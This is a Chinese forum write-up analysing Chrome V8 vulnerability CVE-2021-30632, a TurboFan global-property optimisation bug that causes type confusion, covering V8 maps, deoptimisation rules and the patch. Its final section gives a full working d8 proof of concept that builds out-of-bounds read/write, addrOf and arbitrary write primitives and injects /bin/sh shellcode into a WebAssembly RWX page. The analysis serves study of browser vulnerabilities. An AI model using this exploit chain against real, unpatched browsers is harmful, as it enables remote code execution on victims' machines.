[原创]chrome v8漏洞CVE-2021-30632浅析

2024-3-15 15:36 6635

[原创]chrome v8漏洞CVE-2021-30632浅析

coolboyme

2024-3-15 15:36

6635

chrome v8漏洞CVE-2021-30632浅析

作者：coolboy

前言

V8 是 Google开源的高性能 JavaScript 引擎，用于 Google Chrome 等浏览器。2021 年，V8 引擎曝出漏洞 CVE-2021-30632。漏洞产生的原因是turbofan引擎优化bug导致类型混淆，可以实现远程代码执行。

这个漏洞已经有文章分析的非常详尽了（见：链接），但阅读过程中难免还有些疑问，综合网上查询到的各种资料，弄懂以后，豁然开朗；才疏学浅，也有许多不准确和遗漏的地方。高山流水觅知音，希望可以跟同行学习交流。

背景

编译

# 国内的网络编译会失败，挂VPN也遇到了各种问题。
# 推荐腾讯云上购买新加坡服务器2core 2G 39元一个月，编译一路丝滑。
 
git clone https://chromium.googlesource.com/chromium/tools/depot\_tools.git
export PATH=/path/to/depot\_tools:$PATH
 
mkdir \~/v8
cd \~/v8
fetch v8
cd v8
 
# 漏洞补丁前一笔提交
 
git checkout 632e6e71c5f
gclient sync
alias gm=/path/to/v8/tools/dev/gm.py
gm x64.release
gm x64.debug
 
# test
 
./out/x64.release/d8 --help

调试

# 引入v8 gdb 调试支持，可以在gdb中使用job等命令查看v8对象
 
cp ./tools/gdbinit \~/.gdbinit
gdb ./out/x64.release/d8

JS对象在v8中的内部表示

v8中的JS对象总体分为两类：properties(也叫 named properties)；elements (也叫indexed properties)。表示如下：

hiddenClass也称为map，它决定了JS对象是properties或者elements，见下图：

写段测试代码来实际看看：

// this file is test.js
// 执行：./out/x64.release/d8 --allow-natives-syntax ./test.js
// 其中的--allow-natives-syntax 参数作用是让%DebugPrint内置函数生效，它的作用是打印对象的map等调试信息
obj1 = {a: "foo", b: "bar"};
obj2 = ["foo", "bar"];
%DebugPrint(obj1);
%DebugPrint(obj2);

用d8执行上述文件得到结果：

由上图可以看见，{a: "foo", b: "bar"} 通过map (hiddenClass)被标记为JS_OBJECT_TYPE，有两个属性a和b，值分别为"foo"和"bar"。

由上图可以看见，["foo", "bar"]通过map被标记为JS_ARRAY_TYPE，是一个长度为2的固定数组，元素依次为"foo"和"bar"。

map的迁移

当JS对象增加或者减少属性的时候，v8的map将创建新的map，新旧map之间产生迁移关系。上述代码以此产生map0-map3 共计4个map。map0迁移至map1，map1迁移至map2，依次类推。
最终的map3不再迁移到其他map，它有一个属性取值为stable，map0-map2为not stable。

迁移也可以分叉，如下图，共产生map0到map5共计6个map。其中map3，map5为stable，其他为not stable。

具有相同"形状"的js对象，它们共享一个map。对象a,b,c的map为同一个，均为stable。

var a = {a: "111", b:"111" };
var b = {a: "222", b:"222" };
var c = {a: "333", b:"333" };

示例：

// this file is test.js
// 执行：./out/x64.release/d8 --allow-natives-syntax ./test.js
a = {x:'a'};
b = {x:'b'};
c = {x:'c'};
 
a.y = 'a';
 
console.log('a=====================');
%DebugPrint(a);
console.log('b=====================');
%DebugPrint(b);
console.log('c=====================');
%DebugPrint(c);

结果见下图：

Ignition 和 TurboFan

Ignition, 是v8的解释器, 而 TurboFan 是v8最新的优化编译器。它们的关系如下图：

JS源码经过 Parser(词法分析、语法分析) ，送入Ignition，生成字节码执行；字节码的优点是编译快，缺点是执行慢，适用于执行次数少的代码。
执行多次的字节码被标记为热点代码，将触发优化，此时由TurboFan将字节码优化编译；过往执行中记录的数据将参与优化过程，并预测将来的的执行也将是这样。这样做得优点是，执行快，编译会消耗大量的时间，适用于循环等多次执行的函数。在执行时，跟预测不符，将触发解优化(deoptimize)。
举例说明：

function store(y) {
x = y;
}
var x = 0;
var y = 1;
var z = 2;
 
for (let i = 0; i < 200000; i++) store(y);
store(y);
 
store(z);
 
// ./out/x64.release/d8 --trace-opt --trace-deopt this.js

执行上述js，将看到下面输出：

[marking 0x23f60815326d \<JSFunction (sfi = 0x23f6081530a1)> for optimized recompilation, reason: hot and stable]
[compiling method 0x23f60815326d \<JSFunction (sfi = 0x23f6081530a1)> (target TURBOFAN) using TurboFan OSR]
[optimizing 0x23f60815326d \<JSFunction (sfi = 0x23f6081530a1)> (target TURBOFAN) - took 0.201, 0.631, 0.033 ms]
[bailout (kind: deopt-soft, reason: Insufficient type feedback for call): begin. deoptimizing 0x23f60815326d \<JSFunction (sfi = 0x23f6081530a1)>, opt id 0, bytecode offset 68, deopt exit 3, FP to SP delta 88, caller SP 0x7fff2bce2978, pc 0x23f600044202]

在代码的第8行某一次循环之后，被认定为热点函数，于是store函数被优化。这之后的store(y)都将不再执行igition产生的bytecode，而是执行TurboFan优化编译之后的代码。
在第11行store(z)，由于z和y的值不同，store(z)将无法继续使用参照store(y)优化之后的代码给x赋值1，于是触发了解优化，退化为bytecode执行，给x赋值2。

TurboFan对全局变量访问的优化分析

我们查看漏洞补丁，补丁发生在JSNativeContextSpecialization::ReduceGlobalAccess
函数，这个函数的作用是TurboFan对全局变量存取的优化。

补丁的807行有一个条件判断是否为PropertyCellType::kConstantType。先来了解下kConstantType。

enum class PropertyCellType {
    kMutable, // Cell will no longer be tracked as constant.
    kUndefined, // The PREMONOMORPHIC of property cells.
    kConstant, // Cell has been assigned only once.
    kConstantType, // Cell has been assigned only one type.
    // Value for dictionaries not holding cells, must be 0:
    kNoCell = kMutable,
};
 
/*
PropertyCellType 定义了JS的类型，下面举例说明。
*/
var x = {a : 1};    //Constant，x第一次赋值
x = {a :2};         //ConstantType，x被赋值为相同类型
x.b = 2;            //ConstantType，x没有被赋值，仅修改它的属性，因此不改变类型
x = 2;              //kMutable，x被赋值为int，而非object，因此为kMutable

PropertyCellType跟踪了对象的JS类型，比如JSObject, int, array, String等等，区别于Map描述了对象的"形状"。

我们看一下给全局变量赋值（AccessMode::kStore）优化相关的代码，保留关键部分：

Reduction JSNativeContextSpecialization::ReduceGlobalAccess() {
    ...
    DCHECK_EQ(AccessMode::kStore, access_mode);                 // 3
    switch (property_details.cell_type()) {                     // 4
        ...
        case PropertyCellType::kConstantType: {                 // 6
        dependencies()->DependOnGlobalProperty(property_cell);  // 7
        ...
        if (property_cell_value_map.is_stable()) {
            dependencies()->DependOnStableMap(property_cell_value_map); // 10
        }
        effect = graph()->NewNode(
        simplified()->CheckMaps(                                // 13
            CheckMapsFlag::kNone,
            ZoneHandleSet(property_cell_value_map.object())),
            value, effect, control);
    ...
}

第3行，表示当前代码块是对全局变量赋值的分支
第4行，判断全局变量的PropertyCellType
第6行，当类型为PropertyCellType::kConstantType
第7行，表示当前的优化依赖于属性的类型，如果属性类型发生了变化，那么将解优化。
第10行，表示如果属性的Map是stable，那么stable属性发生变化之后，那么将解优化。
第13行，表示store操作Map必须和前面保持一致，调用store时Map变化了，那么将解优化。

第7，10，13 行枚举出了三种解优化的情况：

全局变量属性的类型发生变化
全局变量Map由stable变为not stable
传入store参数的Map和前面不一致

举例说明这三种情况：

// 全局变量属性的类型发生变化
x = {value:"x"};
y = {value:"y"};
z = [1,2,3]
 
function store(y) {
    x = y;
}
 
// PrepareFunctionForOptimization OptimizeFunctionOnNextCall内置函数实现优化
%PrepareFunctionForOptimization(store);
store(y);
%OptimizeFunctionOnNextCall(store);
store(y);
 
store(y);
 
// property\_cell 类型发生变化，JS类型从object变成了array，因此解优化
x = z;
 
// ./out/x64.release/d8 --trace-opt --trace-deopt --allow-natives-syntax this.js
// 得到下面输出：
// [marking dependent code 0x2c3f00044001 (0x2c3f08153141 ) (opt id 0) for deoptimization, reason: prototype-check]

// 全局变量Map由stable变为not stable
 
x = {value:"x"};
y = {value:"y"};
 
function store(y) {
    x = y;
}
 
%PrepareFunctionForOptimization(store);
store(y);
%OptimizeFunctionOnNextCall(store);
store(y);
 
store(y);
 
// x 和 y 有相同MapA， stable
// y执行下面代码以后，拥有MapB, stable。x变为MapA not stale。因此解优化。
y.new\_value = "y";
 
// ./out/x64.release/d8 --trace-opt --trace-deopt --allow-natives-syntax this.js
// 得到下面输出
// [marking dependent code 0x3c5600044001 (0x3c5608153141 ) (opt id 0) for deoptimization, reason: prototype-check]

// 传入store参数的Map和前面不一致
x = {value:"x"};
y = {value:"y"};
z = {value1:"z", value2:"z"};
 
function store(y) {
    x = y;
}
 
%PrepareFunctionForOptimization(store);
store(y);
%OptimizeFunctionOnNextCall(store);
store(y);
 
store(y);
 
store(z); // z的Map和x的Map不一致
// ./out/x64.release/d8 --trace-opt --trace-deopt --allow-natives-syntax this.js
// 得到下面输出
// [bailout (kind: deopt-eager, reason: wrong map): begin. deoptimizing 0x0f6a08153375 \<JSFunction store (sfi = 0xf6a08153161)>, opt id 0, bytecode offset 2, deopt exit 1, FP to SP delta 32, caller SP 0x7ffd634e5b40, pc 0x0f6a00044145]

说完全局变量的store，再来说说load。关键代码如下：

Reduction JSNativeContextSpecialization::ReduceGlobalAccess()
{
    ...
    if (access_mode == AccessMode::kLoad || access_mode == AccessMode::kHas) {      // 4
        ...
        if (property_details.cell_type() == PropertyCellType::kConstantType) {      // 6
            ...
            if (property_cell_value_map.is_stable()) {                              // 8
                dependencies()->DependOnStableMap(property_cell_value_map);
                map = property_cell_value_map.object();
            }
            ...
        }
        ...
    }
    ...
}

第4行，表示对全局变量的load处理
第6行，表示全局变量为kConstantType类型
第8行，表示当全局变量的Map为stable时，不能修改它的Map，否则解优化。
总结load 全局变量，当优化时刻MapA为Stable，后面修改MapA为MapB。
也举例说明下：

// 优化时刻MapA为Stable，后面修改MapA为MapB
 
x = {value:"x"};
y = {value:"y"};        // x,y MapA stable
 
function load() {
    return x['value']
}
 
//y.new\_value = '11';     // line 10
 
%PrepareFunctionForOptimization(load);
load();
 
%OptimizeFunctionOnNextCall(load);
load();                 // 优化时x为MapA stable
 
load();
 
x.new_value = '11';     // x 变为MapB，解优化 line 20
 
// // ./out/x64.release/d8 --trace-opt --trace-deopt --allow-natives-syntax this.js
// 得到下面输出
// [marking dependent code 0x1e2900044001 (0x1e2908153151 ) (opt id 0) for deoptimization, reason: prototype-check]

值得一提的是，如果插入第10行代码，那么在优化时，x为MapA not stable，第20行改变X的MapA为MapB，将不满足解优化条件：“优化时刻MapA为Stable，后面修改MapA为MapB”。

综上：全局变量store和load解优化条件：
store：

全局变量属性的类型发生变化
全局变量Map由stable变为not stable
传入store参数的Map和前面不一致

load：

优化时刻MapA为Stable，后面修改MapA为MapB

类型混淆如何产生

乍一看，上述解优化逻辑没有问题，然而百密一疏。竟然可以通过既有规则，构造出类型混淆！且看示例代码：

function store(y) {
    x = y;
}
function load() {
return x.b;
}
var x = {a : 1};
var x1 = {a : 2};
var x2 = {a : 3};
var x3 = {a : 4};   // all has mapA, stable
 
%PrepareFunctionForOptimization(store);
store(x2);
 
x1.b = 1;           // x1 has mapB, stable
                    // x x2 x3 has mapA, not stable
%OptimizeFunctionOnNextCall(store);
store(x2);          // optimizatiin，x has MapA in store
 
// x此时为 mapA, not stable。执行x.b=3。将变为MapB，stable
// 无法命中store解优化的个条件，因此store不会解优化
/*
1. 全局变量属性的类型发生变化
2. 全局变量Map由stable变为not stable
3. 传入store参数的Map和前面不一致
不命中：
4. 回顾前面，需要通过"="赋值才会触发PropertyCellType类型修改。不命中。
5. 由not stable变为stable并非stable变为not stable。不命中。
6. 并非调用优化函数，而是对x的属性做修改，不命中。
*/
x.b = 3;        // x MapB stable
 
%PrepareFunctionForOptimization(load);
load();         // x has mapB
%OptimizeFunctionOnNextCall(load);
load();         // x has mapB in load
 
/*
用jit打败jit的精髓之处就在这里了。 ：）
此时x为 MapB stable，x3为MapA not stable。
回顾上面解优化条件：
store：
 
1. 全局变量属性的类型发生变化。不命中。
2. 全局变量Map由stable变为not stable。命中。
3. 传入store参数的Map和前面不一致。x3 x2均为MapA，不命中。
load：
4. 优化时刻MapA为Stable，后面修改MapA为MapB。命中。
 
总结起来看，store(x3)命中store解优化条件2和load解优化条件1。那么第51行代码应该触发store和load解优化。然而实际情况是没有发生任何解优化，x3按照优化代码的逻辑赋值给了x，x变为MapA not stable.
为什么没有解优化呢？原因是所有的解优化条件对于已经优化的代码store是不生效的，只对没有编译的bytecode生效。
用jit打败jit，用魔法打败魔法。 ：）
*/
store(x3);
 
// x 此时真实为MapA, not stable。而load优化的代码中，x为MapB stable，类型混淆，执行56行将导致crash。
%DebugPrint(load());

基于上面的分析，我们打印load，store的汇编验证一下：

function store(y) {
    x = y;
}
 
function load() {
    return x.b;
}
 
var x = {a : 1};
var x1 = {a : 2};
var x2 = {a : 3};
var x3 = {a : 4};
 
%PrepareFunctionForOptimization(store);
store(x2);
x1.b = 1;
%OptimizeFunctionOnNextCall(store);
store(x2);
x.b = 3;
 
%PrepareFunctionForOptimization(load);
load();
%OptimizeFunctionOnNextCall(load);
load();
 
store(x3);
 
console.log("x=================");
%DebugPrint(x);
console.log("x1=================");
%DebugPrint(x1);
console.log("x3=================");
%DebugPrint(x3);
%DebugPrint(load());
 
// ./out/x64.release/d8 --print-opt-code --trace-opt --trace-deopt --allow-natives-syntax this.js
/*
x 和 x3为相同的MapA not stable，如下：
DebugPrint: 0x183008049a71: [JS_OBJECT_TYPE]
 - map: 0x183008187961 <Map(HOLEY_ELEMENTS)> [FastProperties]
 ...
 }
0x183008187961: [Map]
 - type: JS_OBJECT_TYPE
 ...
  
 x1为MapB stable，如下：
 DebugPrint: 0x183008049a51: [JS_OBJECT_TYPE]
 - map: 0x183008187989 <Map(HOLEY_ELEMENTS)> [FastProperties]
 ...
 }
0x183008187989: [Map]
 - type: JS_OBJECT_TYPE
 - stable_map
  
 MapA 的地址为0x183008187961
 MapB 的地址为0x183008187989，结合前面的分析，x在store中的优化代码中预设为MapA，在load中预设为MapB。查看它们对应的汇编，符合预期。
 store：
 ...
 REX.W movq rcx,0x1830081535f5    ;; object: 0x1830081535f5 <PropertyCell name=0x183008153061 <String[1]: #x> value=0x183008049a61 <Object map = 0x183008187961>>
 ...
  
 load:
 ...
 REX.W movq rdx,0x1830081535f5    ;; object: 0x1830081535f5 <PropertyCell name=0x183008153061 <String[1]: #x> value=0x183008049a61 <Object map = 0x183008187989>>
 ...
*/

补丁如何修复漏洞

回顾补丁，

加上补丁以后，有两处变化：
1.全局变量必须是stable才会进行优化。
2.store优化后，如果map变为not stable，将解优化。

这个变化将导致 store的优化失败，因为store优化时x为 not stable，不满足条件1，由此漏洞修复。

利用混淆实现RCE

类型混淆

function foo(y) {
  x = y;
}
 
function oobRead() {
  //b[0] and addrOf writeArr::elements
  return [x[20],x[24]];
}
 
function oobWrite(addr) {
  x[24] = addr;
}
 
var arr0 = new Array(10); arr0.fill(1);arr0.a = 1;
var arr1 = new Array(10); arr1.fill(2);arr1.a = 1;
var arr2 = new Array(10); arr2.fill(3); arr2.a = 1;
 
var x = arr0;
var arr = new Array(30); arr.fill(4); arr.a = 1;
var b = new Array(1); b.fill(1);
var writeArr = [1.1];
 
%PrepareFunctionForOptimization(foo);
foo(arr1);
 
arr2[0] = 1.1;
 
%OptimizeFunctionOnNextCall(foo);
foo(arr1);
 
x[0] = 1.1;
 
 
%PrepareFunctionForOptimization(oobRead);
oobRead();
 
%OptimizeFunctionOnNextCall(oobRead);
oobRead();
 
%PrepareFunctionForOptimization(oobWrite);
oobWrite(1.1);
 
%OptimizeFunctionOnNextCall(oobWrite);
oobWrite(1.1);
 
foo(arr);

通过上述代码实现x的类型混淆，实际为 int arr[30]; 在oobWrite和oobRead中被优化为double arr[30]，不再赘述分析。
通过调用oobWrite， oobRead可以实现越界读写。

堆风水

连续申明的js对象，在v8分配内存时，也具有连续性。

var arr = new Array(30); arr.fill(4); arr.a = 1;
var b = new Array(1); b.fill(1);
var writeArr = [1.1];

申明的arr, b, writeArr三个对象，它们的内存也是连续的。对arr进行越界读写，会访问到b和writeArr对象的数据结构。

获取对象地址

((double*)arr)[20] 对应b[0] 里面存放的值。下面的代码可以获取对象的地址。

b[0] = obj;  // b[0]中存放了obj的地址
function oobRead() {
  return [x[20],x[24]];
}
// x[20] 可以获取对象的地址
function addrOf(obj) {
  b[0] = obj;
  let addrs = oobRead();
  dblArr[0] = addrs[0];
  return intView[1]; 
}
var instanceAddr = addrOf(instance);

任意地址读

((double*)arr)[24] 对应writeArr 对象的数组指针，修改数组指针，就可以实现任意地址读。

function oobWrite(addr) {
  x[24] = addr;
}
function oobRead() {
  return [x[20],x[24]];
}
var addrs = oobRead();
function arbRead(addr) {
  [elements, addr1] = ftoi32(addrs[1]);// addrs[1] :x[24]
  // 修改writeArr数组指针低32位，指向addr代表的任意地址
  oobWrite(i32tof(addr,addr1)); 
  // 读addr指向的内存
  return writeArr[0];
}

任意地址写

下面代码可以实现任意地址写：

function writeShellCode(rwxAddr, shellArr) {
  var intArr = new Uint8Array(400);
  // 获取intArr对象地址intArrAddr
  var intArrAddr = addrOf(intArr);
  //var intBackingStore = ftoi(arbRead(intArrAddr + 0x20));
 
  // intArrAddr + 0x20 为Uint8Array数组指针所在的地址
  [elements, addr1] = ftoi32(addrs[1]);
  oobWrite(i32tof(intArrAddr + 0x20, addr1));
  // 修改Uint8Array数组指针为rwxAddr
  writeArr[0] = rwxAddr;
  for (let i = 0; i < shellArr.length; i++) {
    // 往rwxAddr地址处写shellArr
    intArr[i] = shellArr[i];
  }
}

完整d8 POC

./out/x64.release/d8 --allow-natives-syntax this.js 将会得到/bin/sh

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

var code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
var module = new WebAssembly.Module(code);
var instance = new WebAssembly.Instance(module);
var main = instance.exports.main;
 
function foo(y) {
  x = y;
}
 
function oobRead() {
  return [x[20],x[24]];
}
 
function oobWrite(addr) {
  x[24] = addr;
}
 
var arr0 = new Array(10); arr0.fill(1);arr0.a = 1;
var arr1 = new Array(10); arr1.fill(2);arr1.a = 1;
var arr2 = new Array(10); arr2.fill(3); arr2.a = 1;
 
var x = arr0;
var arr = new Array(30); arr.fill(4); arr.a = 1;
var b = new Array(1); b.fill(1);
var writeArr = [1.1];
 
%PrepareFunctionForOptimization(foo);
foo(arr1);
 
arr2[0] = 1.1;
 
%OptimizeFunctionOnNextCall(foo);
foo(arr1);
 
x[0] = 1.1;
 
 
%PrepareFunctionForOptimization(oobRead);
oobRead();
 
%OptimizeFunctionOnNextCall(oobRead);
oobRead();
 
%PrepareFunctionForOptimization(oobWrite);
oobWrite(1.1);
 
%OptimizeFunctionOnNextCall(oobWrite);
oobWrite(1.1);
 
foo(arr);
 
var view = new ArrayBuffer(24);
var dblArr = new Float64Array(view);
var intView = new Int32Array(view);
var bigIntView = new BigInt64Array(view);
b[0] = instance;
var addrs = oobRead();
 
console.log("addrs: " + ftoi32(addrs[0])[0].toString(16) + " " + ftoi32(addrs[0])[1].toString(16)
+  " " + ftoi32(addrs[1])[0].toString(16) + " " + ftoi32(addrs[1])[1].toString(16));
 
function ftoi32(f) {
  dblArr[0] = f;
  return [intView[0], intView[1]];
}
 
function i32tof(i1, i2) {
  intView[0] = i1;
  intView[1] = i2;
  return dblArr[0];
}
 
function itof(i) {
  bigIntView = BigInt(i);
  return dblArr[0];
}
 
function ftoi(f) {
  dblArr[0] = f;
  return bigIntView[0];
}
 
 
dblArr[0] = addrs[0];
dblArr[1] = addrs[1];
 
function addrOf(obj) {
  b[0] = obj;
  let addrs = oobRead();
  dblArr[0] = addrs[0];
  return intView[1]; 
}
 
function arbRead(addr) {
  [elements, addr1] = ftoi32(addrs[1]);
  oobWrite(i32tof(addr,addr1));
  return writeArr[0];
}
 
function writeShellCode(rwxAddr, shellArr) {
  var intArr = new Uint8Array(400);
  var intArrAddr = addrOf(intArr);
  //var intBackingStore = ftoi(arbRead(intArrAddr + 0x20));
 
  [elements, addr1] = ftoi32(addrs[1]);
  oobWrite(i32tof(intArrAddr + 0x20, addr1));
  writeArr[0] = rwxAddr;
  for (let i = 0; i < shellArr.length; i++) {
    intArr[i] = shellArr[i];
  }
}
 
var instanceAddr = addrOf(instance);
var elementsAddr = ftoi32(addrs[1])[0];
console.log("instance: " + instanceAddr.toString(16));
console.log("elements: " + elementsAddr.toString(16));
 
 
var rwxAddr = arbRead(instanceAddr + 0x60);
console.log("rwx page address: " + ftoi(rwxAddr).toString(16));
var shellCode = [0x31, /*0x31,*/ 0xf6, 0x31, 0xd2, 0x31, 0xc0, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x73, 0x68, 0x56, 0x53, 0x54, 0x5f, 0xb8, 0x3b, 0, 0, 0, 0xf, 0x5];
 
writeShellCode(rwxAddr, shellCode);
 
main();

参考

漏洞分析：Chrome in-the-wild bug analysis: CVE-2021-30632
属性访问：https://v8.dev/blog/fast-properties
v8文档：https://v8.dev/

联系我

[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》，视频+靶场+题目！助力进入CTF世界

#Windows #补丁对比 #漏洞利用 #漏洞分析

收藏・6

点赞・4

打赏

最新回复 (3)
秋狝雪币： 19634 活跃值： (29304) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 1600 粉丝 31 关注私信	秋狝 2024-3-18 09:34 2 楼 1 感谢分享
LoveReverse 雪币： 0 活跃值： (35) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 1 粉丝 0 关注私信	LoveReverse 2024-3-18 11:45 3 楼 0 感谢分享
iaoedsz2018 雪币： 283 活跃值： (890) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 22 粉丝 0 关注私信	iaoedsz2018 2024-3-21 00:07 4 楼 0 豁然开朗
	游客登录 \| 注册方可回帖　回帖　表情雪币赚取及消费高级回复